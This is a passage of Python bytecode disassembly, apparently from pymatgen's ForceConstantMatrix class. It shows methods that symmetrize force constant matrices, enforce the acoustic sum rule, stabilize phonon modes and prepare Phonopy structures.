3 LOAD_FAST op LOAD_CONST 3 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 BINARY_ADD BUILD_SLICE BUILD_TUPLE BINARY_SUBSCR STORE_FAST tempfcm LOAD_FAST symop LOAD_METHOD transform_tensor LOAD_FAST tempfcm CALL_METHOD STORE_FAST tempfcm LOAD_FAST D LOAD_CONST 3 LOAD_FAST op LOAD_CONST 0 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 LOAD_FAST op LOAD_CONST 0 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 BINARY_ADD BUILD_SLICE LOAD_CONST 3 LOAD_FAST op LOAD_CONST 1 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 LOAD_FAST op LOAD_CONST 1 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 BINARY_ADD BUILD_SLICE BUILD_TUPLE DUP_TOP BINARY_SUBSCR LOAD_FAST tempfcm INPLACE_ADD ROT_THREE STORE_SUBSCR JUMP_ABSOLUTE POP_BLOCK LOAD_GLOBAL len LOAD_FAST op LOAD_CONST 4 BINARY_SUBSCR CALL_FUNCTION LOAD_CONST 0 COMPARE_OP != EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST D LOAD_CONST 3 LOAD_FAST op LOAD_CONST 0 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 LOAD_FAST op LOAD_CONST 0 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 BINARY_ADD BUILD_SLICE LOAD_CONST 3 LOAD_FAST op LOAD_CONST 1 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 LOAD_FAST op LOAD_CONST 1 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 BINARY_ADD BUILD_SLICE BUILD_TUPLE BINARY_SUBSCR LOAD_GLOBAL len LOAD_FAST op LOAD_CONST 4 BINARY_SUBSCR CALL_FUNCTION BINARY_TRUE_DIVIDE LOAD_FAST D LOAD_CONST 3 LOAD_FAST op LOAD_CONST 0 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 LOAD_FAST op LOAD_CONST 0 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 BINARY_ADD BUILD_SLICE LOAD_CONST 3 LOAD_FAST op LOAD_CONST 1 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 LOAD_FAST op LOAD_CONST 1 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 BINARY_ADD BUILD_SLICE BUILD_TUPLE STORE_SUBSCR LOAD_FAST D LOAD_CONST 3 LOAD_FAST op LOAD_CONST 0 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 LOAD_FAST op LOAD_CONST 0 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 BINARY_ADD BUILD_SLICE LOAD_CONST 3 LOAD_FAST op LOAD_CONST 1 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 LOAD_FAST op LOAD_CONST 1 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 BINARY_ADD BUILD_SLICE BUILD_TUPLE BINARY_SUBSCR LOAD_ATTR T LOAD_FAST D LOAD_CONST 3 LOAD_FAST op LOAD_CONST 1 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 LOAD_FAST op LOAD_CONST 1 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 BINARY_ADD BUILD_SLICE LOAD_CONST 3 LOAD_FAST op LOAD_CONST 0 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 LOAD_FAST op LOAD_CONST 0 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 BINARY_ADD BUILD_SLICE BUILD_TUPLE STORE_SUBSCR JUMP_ABSOLUTE LOAD_GLOBAL Tensor LOAD_FAST D LOAD_CONST 3 LOAD_FAST op LOAD_CONST 0 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 LOAD_FAST op LOAD_CONST 0 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 BINARY_ADD BUILD_SLICE LOAD_CONST 3 LOAD_FAST op LOAD_CONST 1 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 LOAD_FAST op LOAD_CONST 1 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 BINARY_ADD BUILD_SLICE BUILD_TUPLE BINARY_SUBSCR CALL_FUNCTION STORE_DEREF temp_tensor LOAD_GLOBAL sum LOAD_CLOSURE temp_tensor BUILD_TUPLE LOAD_CONST <code object <genexpr> at 0x7f8b2000ba50, file "f.py", line 467> LOAD_CONST 'ForceConstantMatrix.get_symmetrized_FCM.<locals>.<genexpr>' MAKE_FUNCTION LOAD_FAST self LOAD_ATTR sharedops LOAD_FAST op LOAD_CONST 0 BINARY_SUBSCR BINARY_SUBSCR LOAD_FAST op LOAD_CONST 1 BINARY_SUBSCR BINARY_SUBSCR GET_ITER CALL_FUNCTION CALL_FUNCTION STORE_FAST temp_tensor_sum LOAD_GLOBAL len LOAD_FAST self LOAD_ATTR sharedops LOAD_FAST op LOAD_CONST 0 BINARY_SUBSCR BINARY_SUBSCR LOAD_FAST op LOAD_CONST 1 BINARY_SUBSCR BINARY_SUBSCR CALL_FUNCTION LOAD_CONST 0 COMPARE_OP != EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST temp_tensor_sum LOAD_GLOBAL len LOAD_FAST self LOAD_ATTR sharedops LOAD_FAST op LOAD_CONST 0 BINARY_SUBSCR BINARY_SUBSCR LOAD_FAST op LOAD_CONST 1 BINARY_SUBSCR BINARY_SUBSCR CALL_FUNCTION BINARY_TRUE_DIVIDE STORE_FAST temp_tensor_sum LOAD_FAST op LOAD_CONST 0 BINARY_SUBSCR LOAD_FAST op LOAD_CONST 1 BINARY_SUBSCR COMPARE_OP != EXTENDED_ARG POP_JUMP_IF_FALSE SETUP_LOOP to 896 LOAD_GLOBAL range LOAD_GLOBAL len LOAD_FAST op LOAD_CONST 4 BINARY_SUBSCR CALL_FUNCTION CALL_FUNCTION GET_ITER FOR_ITER to 878 STORE_FAST pair LOAD_FAST temp_tensor_sum LOAD_ATTR T STORE_FAST temp_tensor2 LOAD_FAST op LOAD_CONST 4 BINARY_SUBSCR LOAD_FAST pair BINARY_SUBSCR LOAD_METHOD transform_tensor LOAD_FAST temp_tensor2 CALL_METHOD STORE_FAST temp_tensor2 LOAD_FAST temp_tensor_sum LOAD_FAST temp_tensor2 BINARY_ADD LOAD_CONST 2 BINARY_TRUE_DIVIDE STORE_FAST temp_tensor_sum EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK JUMP_FORWARD to 896 LOAD_FAST temp_tensor_sum LOAD_FAST temp_tensor_sum LOAD_ATTR T BINARY_ADD LOAD_CONST 2 BINARY_TRUE_DIVIDE STORE_FAST temp_tensor_sum LOAD_FAST temp_tensor_sum LOAD_FAST D LOAD_CONST 3 LOAD_FAST op LOAD_CONST 0 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 LOAD_FAST op LOAD_CONST 0 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 BINARY_ADD BUILD_SLICE LOAD_CONST 3 LOAD_FAST op LOAD_CONST 1 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 LOAD_FAST op LOAD_CONST 1 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 BINARY_ADD BUILD_SLICE BUILD_TUPLE STORE_SUBSCR LOAD_FAST temp_tensor_sum LOAD_ATTR T LOAD_FAST D LOAD_CONST 3 LOAD_FAST op LOAD_CONST 1 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 LOAD_FAST op LOAD_CONST 1 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 BINARY_ADD BUILD_SLICE LOAD_CONST 3 LOAD_FAST op LOAD_CONST 0 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 LOAD_FAST op LOAD_CONST 0 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 BINARY_ADD BUILD_SLICE BUILD_TUPLE STORE_SUBSCR JUMP_ABSOLUTE POP_BLOCK LOAD_FAST D RETURN_VALUE LOAD_FAST .0 FOR_ITER to 20 STORE_FAST symm_op LOAD_DEREF temp_tensor LOAD_METHOD transform LOAD_FAST symm_op CALL_METHOD YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_CONST 0 STORE_FAST check LOAD_CONST 0 STORE_FAST count EXTENDED_ARG SETUP_LOOP to 332 LOAD_FAST check LOAD_CONST 0 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST count LOAD_CONST 20 COMPARE_OP > POP_JUMP_IF_FALSE LOAD_CONST 1 STORE_FAST check BREAK_LOOP LOAD_GLOBAL np LOAD_ATTR linalg LOAD_METHOD eig LOAD_FAST fcm CALL_METHOD UNPACK_SEQUENCE STORE_FAST eigs STORE_FAST vecs LOAD_GLOBAL np LOAD_METHOD max LOAD_CONST -1 LOAD_FAST eigs BINARY_MULTIPLY CALL_METHOD STORE_FAST maxeig LOAD_GLOBAL np LOAD_METHOD argsort LOAD_GLOBAL np LOAD_METHOD abs LOAD_FAST eigs CALL_METHOD CALL_METHOD STORE_FAST eigsort SETUP_LOOP to 148 LOAD_GLOBAL range LOAD_CONST 3 LOAD_GLOBAL len LOAD_FAST eigs CALL_FUNCTION CALL_FUNCTION GET_ITER FOR_ITER to 146 STORE_FAST i LOAD_FAST eigs LOAD_FAST eigsort LOAD_FAST i BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST 1e-06 COMPARE_OP > POP_JUMP_IF_FALSE LOAD_CONST -1 LOAD_FAST maxeig BINARY_MULTIPLY LOAD_GLOBAL np LOAD_ATTR random LOAD_METHOD rand CALL_METHOD BINARY_MULTIPLY LOAD_FAST eigs LOAD_FAST eigsort LOAD_FAST i BINARY_SUBSCR STORE_SUBSCR JUMP_ABSOLUTE POP_BLOCK LOAD_GLOBAL np LOAD_METHOD real LOAD_GLOBAL np LOAD_METHOD eye LOAD_GLOBAL len LOAD_FAST fcm CALL_FUNCTION CALL_METHOD LOAD_FAST eigs BINARY_MULTIPLY CALL_METHOD STORE_FAST diag LOAD_GLOBAL np LOAD_METHOD real LOAD_GLOBAL np LOAD_METHOD matmul LOAD_GLOBAL np LOAD_METHOD matmul LOAD_FAST vecs LOAD_FAST diag CALL_METHOD LOAD_FAST vecs LOAD_ATTR T CALL_METHOD CALL_METHOD STORE_FAST fcm LOAD_FAST self LOAD_METHOD get_symmetrized_FCM LOAD_FAST fcm CALL_METHOD STORE_FAST fcm LOAD_FAST self LOAD_METHOD get_asum_FCM LOAD_FAST fcm CALL_METHOD STORE_FAST fcm LOAD_GLOBAL np LOAD_ATTR linalg LOAD_METHOD eig LOAD_FAST fcm CALL_METHOD UNPACK_SEQUENCE STORE_FAST eigs STORE_FAST vecs LOAD_CONST 0 STORE_FAST unstable_modes LOAD_GLOBAL np LOAD_METHOD argsort LOAD_GLOBAL np LOAD_METHOD abs LOAD_FAST eigs CALL_METHOD CALL_METHOD STORE_FAST eigsort SETUP_LOOP to 304 LOAD_GLOBAL range LOAD_CONST 3 LOAD_GLOBAL len LOAD_FAST eigs CALL_FUNCTION CALL_FUNCTION GET_ITER FOR_ITER to 302 STORE_FAST i LOAD_FAST eigs LOAD_FAST eigsort LOAD_FAST i BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST 1e-06 COMPARE_OP > EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST 1 STORE_FAST unstable_modes EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK LOAD_FAST unstable_modes LOAD_CONST 1 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST count LOAD_CONST 1 BINARY_ADD STORE_FAST count JUMP_ABSOLUTE LOAD_CONST 1 STORE_FAST check JUMP_ABSOLUTE POP_BLOCK LOAD_FAST fcm RETURN_VALUE LOAD_FAST self LOAD_ATTR FCM_operations STORE_FAST operations LOAD_FAST operations LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_GLOBAL RuntimeError LOAD_CONST 'No symmetry operations found. Run get_FCM_operations first.' CALL_FUNCTION RAISE_VARARGS LOAD_GLOBAL len LOAD_FAST self LOAD_ATTR structure CALL_FUNCTION STORE_FAST n_sites LOAD_GLOBAL np LOAD_METHOD ones LOAD_FAST n_sites LOAD_CONST 3 BINARY_MULTIPLY LOAD_FAST n_sites LOAD_CONST 3 BINARY_MULTIPLY BUILD_LIST CALL_METHOD STORE_FAST D EXTENDED_ARG SETUP_LOOP to 1320 LOAD_GLOBAL range LOAD_FAST numiter CALL_FUNCTION GET_ITER EXTENDED_ARG FOR_ITER to 1318 STORE_FAST _ LOAD_GLOBAL np LOAD_METHOD real LOAD_FAST fcm CALL_METHOD STORE_FAST X LOAD_CONST 0 STORE_FAST pastrow LOAD_GLOBAL np LOAD_METHOD zeros LOAD_CONST 3 LOAD_CONST 3 BUILD_LIST CALL_METHOD STORE_FAST total SETUP_LOOP to 154 LOAD_GLOBAL range LOAD_FAST n_sites CALL_FUNCTION GET_ITER FOR_ITER to 152 STORE_FAST col LOAD_FAST total LOAD_FAST X LOAD_CONST 0 LOAD_CONST 3 BUILD_SLICE LOAD_FAST col LOAD_CONST 3 BINARY_MULTIPLY LOAD_FAST col LOAD_CONST 3 BINARY_MULTIPLY LOAD_CONST 3 BINARY_ADD BUILD_SLICE BUILD_TUPLE BINARY_SUBSCR BINARY_ADD STORE_FAST total JUMP_ABSOLUTE POP_BLOCK LOAD_FAST total LOAD_FAST n_sites BINARY_TRUE_DIVIDE STORE_FAST total EXTENDED_ARG SETUP_LOOP to 1308 LOAD_FAST operations GET_ITER EXTENDED_ARG FOR_ITER to 1306 STORE_FAST op LOAD_CONST 0 STORE_FAST same LOAD_CONST 0 STORE_FAST transpose LOAD_FAST op LOAD_CONST 0 BINARY_SUBSCR LOAD_FAST op LOAD_CONST 1 BINARY_SUBSCR COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST op LOAD_CONST 0 BINARY_SUBSCR LOAD_FAST op LOAD_CONST 2 BINARY_SUBSCR COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST op LOAD_CONST 0 BINARY_SUBSCR LOAD_FAST op LOAD_CONST 3 BINARY_SUBSCR COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST 1 STORE_FAST same LOAD_FAST op LOAD_CONST 0 BINARY_SUBSCR LOAD_FAST op LOAD_CONST 3 BINARY_SUBSCR COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST op LOAD_CONST 1 BINARY_SUBSCR LOAD_FAST op LOAD_CONST 2 BINARY_SUBSCR COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST 1 STORE_FAST transpose LOAD_FAST transpose LOAD_CONST 0 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST same LOAD_CONST 0 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL np LOAD_METHOD zeros LOAD_CONST 3 LOAD_CONST 3 BUILD_LIST CALL_METHOD LOAD_FAST D LOAD_CONST 3 LOAD_FAST op LOAD_CONST 0 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 LOAD_FAST op LOAD_CONST 0 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 BINARY_ADD BUILD_SLICE LOAD_CONST 3 LOAD_FAST op LOAD_CONST 1 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 LOAD_FAST op LOAD_CONST 1 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 BINARY_ADD BUILD_SLICE BUILD_TUPLE STORE_SUBSCR SETUP_LOOP to 524 LOAD_FAST op LOAD_CONST 4 BINARY_SUBSCR GET_ITER FOR_ITER to 522 STORE_FAST symop LOAD_FAST D LOAD_CONST 3 LOAD_FAST op LOAD_CONST 2 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 LOAD_FAST op LOAD_CONST 2 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 BINARY_ADD BUILD_SLICE LOAD_CONST 3 LOAD_FAST op LOAD_CONST 3 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 LOAD_FAST op LOAD_CONST 3 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 BINARY_ADD BUILD_SLICE BUILD_TUPLE BINARY_SUBSCR STORE_FAST tempfcm LOAD_FAST symop LOAD_METHOD transform_tensor LOAD_FAST tempfcm CALL_METHOD STORE_FAST tempfcm LOAD_FAST D LOAD_CONST 3 LOAD_FAST op LOAD_CONST 0 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 LOAD_FAST op LOAD_CONST 0 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 BINARY_ADD BUILD_SLICE LOAD_CONST 3 LOAD_FAST op LOAD_CONST 1 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 LOAD_FAST op LOAD_CONST 1 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 BINARY_ADD BUILD_SLICE BUILD_TUPLE DUP_TOP BINARY_SUBSCR LOAD_FAST tempfcm INPLACE_ADD ROT_THREE STORE_SUBSCR EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK LOAD_GLOBAL len LOAD_FAST op LOAD_CONST 4 BINARY_SUBSCR CALL_FUNCTION LOAD_CONST 0 COMPARE_OP != EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST D LOAD_CONST 3 LOAD_FAST op LOAD_CONST 0 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 LOAD_FAST op LOAD_CONST 0 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 BINARY_ADD BUILD_SLICE LOAD_CONST 3 LOAD_FAST op LOAD_CONST 1 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 LOAD_FAST op LOAD_CONST 1 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 BINARY_ADD BUILD_SLICE BUILD_TUPLE BINARY_SUBSCR LOAD_GLOBAL len LOAD_FAST op LOAD_CONST 4 BINARY_SUBSCR CALL_FUNCTION BINARY_TRUE_DIVIDE LOAD_FAST D LOAD_CONST 3 LOAD_FAST op LOAD_CONST 0 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 LOAD_FAST op LOAD_CONST 0 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 BINARY_ADD BUILD_SLICE LOAD_CONST 3 LOAD_FAST op LOAD_CONST 1 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 LOAD_FAST op LOAD_CONST 1 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 BINARY_ADD BUILD_SLICE BUILD_TUPLE STORE_SUBSCR LOAD_FAST D LOAD_CONST 3 LOAD_FAST op LOAD_CONST 0 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 LOAD_FAST op LOAD_CONST 0 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 BINARY_ADD BUILD_SLICE LOAD_CONST 3 LOAD_FAST op LOAD_CONST 1 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 LOAD_FAST op LOAD_CONST 1 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 BINARY_ADD BUILD_SLICE BUILD_TUPLE BINARY_SUBSCR LOAD_ATTR T LOAD_FAST D LOAD_CONST 3 LOAD_FAST op LOAD_CONST 1 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 LOAD_FAST op LOAD_CONST 1 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 BINARY_ADD BUILD_SLICE LOAD_CONST 3 LOAD_FAST op LOAD_CONST 0 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 LOAD_FAST op LOAD_CONST 0 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 BINARY_ADD BUILD_SLICE BUILD_TUPLE STORE_SUBSCR JUMP_ABSOLUTE LOAD_FAST op LOAD_CONST 0 BINARY_SUBSCR STORE_FAST curr_row LOAD_FAST curr_row LOAD_FAST pastrow COMPARE_OP != EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL np LOAD_METHOD zeros LOAD_CONST 3 LOAD_CONST 3 BUILD_LIST CALL_METHOD STORE_FAST total SETUP_LOOP to 890 LOAD_GLOBAL range LOAD_FAST n_sites CALL_FUNCTION GET_ITER FOR_ITER to 888 STORE_FAST col LOAD_FAST total LOAD_FAST X LOAD_FAST curr_row LOAD_CONST 3 BINARY_MULTIPLY LOAD_FAST curr_row LOAD_CONST 3 BINARY_MULTIPLY LOAD_CONST 3 BINARY_ADD BUILD_SLICE LOAD_FAST col LOAD_CONST 3 BINARY_MULTIPLY LOAD_FAST col LOAD_CONST 3 BINARY_MULTIPLY LOAD_CONST 3 BINARY_ADD BUILD_SLICE BUILD_TUPLE BINARY_SUBSCR BINARY_ADD STORE_FAST total EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK SETUP_LOOP to 958 LOAD_GLOBAL range LOAD_FAST curr_row CALL_FUNCTION GET_ITER FOR_ITER to 956 STORE_FAST col LOAD_FAST total LOAD_FAST D LOAD_FAST curr_row LOAD_CONST 3 BINARY_MULTIPLY LOAD_FAST curr_row LOAD_CONST 3 BINARY_MULTIPLY LOAD_CONST 3 BINARY_ADD BUILD_SLICE LOAD_FAST col LOAD_CONST 3 BINARY_MULTIPLY LOAD_FAST col LOAD_CONST 3 BINARY_MULTIPLY LOAD_CONST 3 BINARY_ADD BUILD_SLICE BUILD_TUPLE BINARY_SUBSCR BINARY_SUBTRACT STORE_FAST total EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK LOAD_FAST total LOAD_FAST n_sites LOAD_FAST curr_row BINARY_SUBTRACT BINARY_TRUE_DIVIDE STORE_FAST total LOAD_FAST curr_row STORE_FAST pastrow LOAD_GLOBAL Tensor LOAD_FAST total CALL_FUNCTION STORE_DEREF temp_tensor LOAD_GLOBAL sum LOAD_CLOSURE temp_tensor BUILD_TUPLE LOAD_CONST <code object <genexpr> at 0x7f8a3d619d20, file "f.py", line 612> LOAD_CONST 'ForceConstantMatrix.get_asum_FCM.<locals>.<genexpr>' MAKE_FUNCTION LOAD_FAST self LOAD_ATTR sharedops LOAD_FAST op LOAD_CONST 0 BINARY_SUBSCR BINARY_SUBSCR LOAD_FAST op LOAD_CONST 1 BINARY_SUBSCR BINARY_SUBSCR GET_ITER CALL_FUNCTION CALL_FUNCTION STORE_FAST temp_tensor_sum LOAD_GLOBAL len LOAD_FAST self LOAD_ATTR sharedops LOAD_FAST op LOAD_CONST 0 BINARY_SUBSCR BINARY_SUBSCR LOAD_FAST op LOAD_CONST 1 BINARY_SUBSCR BINARY_SUBSCR CALL_FUNCTION LOAD_CONST 0 COMPARE_OP != EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST temp_tensor_sum LOAD_GLOBAL len LOAD_FAST self LOAD_ATTR sharedops LOAD_FAST op LOAD_CONST 0 BINARY_SUBSCR BINARY_SUBSCR LOAD_FAST op LOAD_CONST 1 BINARY_SUBSCR BINARY_SUBSCR CALL_FUNCTION BINARY_TRUE_DIVIDE STORE_FAST temp_tensor_sum LOAD_FAST op LOAD_CONST 0 BINARY_SUBSCR LOAD_FAST op LOAD_CONST 1 BINARY_SUBSCR COMPARE_OP != EXTENDED_ARG POP_JUMP_IF_FALSE SETUP_LOOP to 1182 LOAD_GLOBAL range LOAD_GLOBAL len LOAD_FAST op LOAD_CONST 4 BINARY_SUBSCR CALL_FUNCTION CALL_FUNCTION GET_ITER FOR_ITER to 1164 STORE_FAST pair LOAD_FAST temp_tensor_sum LOAD_ATTR T STORE_FAST temp_tensor2 LOAD_FAST op LOAD_CONST 4 BINARY_SUBSCR LOAD_FAST pair BINARY_SUBSCR LOAD_METHOD transform_tensor LOAD_FAST temp_tensor2 CALL_METHOD STORE_FAST temp_tensor2 LOAD_FAST temp_tensor_sum LOAD_FAST temp_tensor2 BINARY_ADD LOAD_CONST 2 BINARY_TRUE_DIVIDE STORE_FAST temp_tensor_sum EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK JUMP_FORWARD to 1182 LOAD_FAST temp_tensor_sum LOAD_FAST temp_tensor_sum LOAD_ATTR T BINARY_ADD LOAD_CONST 2 BINARY_TRUE_DIVIDE STORE_FAST temp_tensor_sum LOAD_FAST temp_tensor_sum LOAD_FAST D LOAD_CONST 3 LOAD_FAST op LOAD_CONST 0 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 LOAD_FAST op LOAD_CONST 0 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 BINARY_ADD BUILD_SLICE LOAD_CONST 3 LOAD_FAST op LOAD_CONST 1 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 LOAD_FAST op LOAD_CONST 1 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 BINARY_ADD BUILD_SLICE BUILD_TUPLE STORE_SUBSCR LOAD_FAST temp_tensor_sum LOAD_ATTR T LOAD_FAST D LOAD_CONST 3 LOAD_FAST op LOAD_CONST 1 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 LOAD_FAST op LOAD_CONST 1 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 BINARY_ADD BUILD_SLICE LOAD_CONST 3 LOAD_FAST op LOAD_CONST 0 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 LOAD_FAST op LOAD_CONST 0 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 BINARY_ADD BUILD_SLICE BUILD_TUPLE STORE_SUBSCR JUMP_ABSOLUTE POP_BLOCK LOAD_FAST fcm LOAD_FAST D BINARY_SUBTRACT STORE_FAST fcm JUMP_ABSOLUTE POP_BLOCK LOAD_FAST fcm RETURN_VALUE LOAD_FAST .0 FOR_ITER to 20 STORE_FAST symm_op LOAD_DEREF temp_tensor LOAD_METHOD transform LOAD_FAST symm_op CALL_METHOD YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_CONST 0 LOAD_CONST ('get_phonopy_structure',) IMPORT_NAME pymatgen.io.phonopy IMPORT_FROM get_phonopy_structure STORE_FAST get_phonopy_structure POP_TOP LOAD_GLOBAL len LOAD_FAST self LOAD_ATTR structure CALL_FUNCTION STORE_FAST n_sites LOAD_FAST get_phonopy_structure LOAD_FAST self LOAD_ATTR structure CALL_FUNCTION STORE_FAST structure LOAD_GLOBAL Phonopy LOAD_FAST structure LOAD_GLOBAL np LOAD_METHOD eye LOAD_CONST 3 CALL_METHOD LOAD_GLOBAL np LOAD_METHOD eye LOAD_CONST 3 CALL_METHOD CALL_FUNCTION STORE_FAST pn_struct LOAD_FAST self LOAD_METHOD get_unstable_FCM LOAD_FAST force CALL_METHOD STORE_FAST dyn LOAD_FAST self LOAD_METHOD get_stable_FCM LOAD_FAST dyn CALL_METHOD STORE_FAST dyn LOAD_GLOBAL np LOAD_METHOD reshape LOAD_FAST dyn LOAD_FAST n_sites LOAD_CONST 3 LOAD_FAST n_sites LOAD_CONST 3 BUILD_TUPLE CALL_METHOD LOAD_METHOD swapaxes LOAD_CONST 1 LOAD_CONST 2 CALL_METHOD STORE_FAST dyn LOAD_GLOBAL np LOAD_METHOD zeros LOAD_GLOBAL len LOAD_FAST self LOAD_ATTR structure CALL_FUNCTION LOAD_GLOBAL len LOAD_FAST self LOAD_ATTR structure CALL_FUNCTION LOAD_CONST 3 LOAD_CONST 3 BUILD_LIST CALL_METHOD STORE_FAST dyn_mass BUILD_LIST STORE_FAST masses SETUP_LOOP to 176 LOAD_GLOBAL range LOAD_FAST n_sites CALL_FUNCTION GET_ITER FOR_ITER to 174 STORE_FAST idx LOAD_FAST masses LOAD_METHOD append LOAD_FAST self LOAD_ATTR structure LOAD_FAST idx BINARY_SUBSCR LOAD_ATTR specie LOAD_ATTR atomic_mass CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_GLOBAL np LOAD_METHOD zeros LOAD_FAST n_sites LOAD_FAST n_sites LOAD_CONST 3 LOAD_CONST 3 BUILD_LIST CALL_METHOD STORE_FAST dyn_mass SETUP_LOOP to 278 LOAD_GLOBAL range LOAD_FAST n_sites CALL_FUNCTION GET_ITER FOR_ITER to 276 STORE_FAST m SETUP_LOOP to 274 LOAD_GLOBAL range LOAD_FAST n_sites CALL_FUNCTION GET_ITER FOR_ITER to 272 STORE_FAST n LOAD_FAST dyn LOAD_FAST m BINARY_SUBSCR LOAD_FAST n BINARY_SUBSCR LOAD_GLOBAL np LOAD_METHOD sqrt LOAD_FAST masses LOAD_FAST m BINARY_SUBSCR CALL_METHOD BINARY_MULTIPLY LOAD_GLOBAL np LOAD_METHOD sqrt LOAD_FAST masses LOAD_FAST n BINARY_SUBSCR CALL_METHOD BINARY_MULTIPLY LOAD_FAST dyn_mass LOAD_FAST m BINARY_SUBSCR LOAD_FAST n STORE_SUBSCR JUMP_ABSOLUTE POP_BLOCK JUMP_ABSOLUTE POP_BLOCK LOAD_FAST pn_struct LOAD_METHOD get_supercell CALL_METHOD STORE_FAST supercell LOAD_FAST pn_struct LOAD_METHOD get_primitive CALL_METHOD STORE_FAST primitive LOAD_GLOBAL dyntofc LOAD_METHOD DynmatToForceConstants LOAD_FAST 